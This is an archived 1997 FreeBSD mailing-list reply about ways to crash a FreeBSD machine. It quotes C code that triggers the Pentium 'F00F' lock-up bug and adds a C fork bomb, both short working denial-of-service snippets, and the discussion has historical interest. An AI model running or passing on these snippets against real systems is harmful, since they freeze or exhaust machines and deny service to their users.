Date: Sun, 9 Nov 1997 20:46:56 +0000 (GMT) From: sporkl <spork@dti.net> To: Michael Richards <026809r@dragon.acadiau.ca> Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Crashing FreeBSD Message-ID: <Pine.BSF.3.96.971109204549.3021A-100000@iconoclastic.com> In-Reply-To: <199711100059.UAA23095@dragon.acadiau.ca>
next in thread | previous in thread | raw e-mail | index | archive | help
Well, there are other ways too. 1. Toggle power really fast 2. write a "forkbomb": #include <stdio.h> main() { for(;;) {fork();} } I am sure there are other ways. -Spike Gronim sporkl@dti.net "Tradition is the chastity belt of the mind" On Sun, 9 Nov 1997, Michael Richards wrote: > Well folks, it looks like anyone can crash a FreeBSD box. I am told that > this is a bug in the pentium processor. Compile and run, it will crash the > machine right away... > > Very simple: > > > char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 }; > > main () { > void (*f)() = x; > f(); > } > >
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?Pine.BSF.3.96.971109204549.3021A-100000>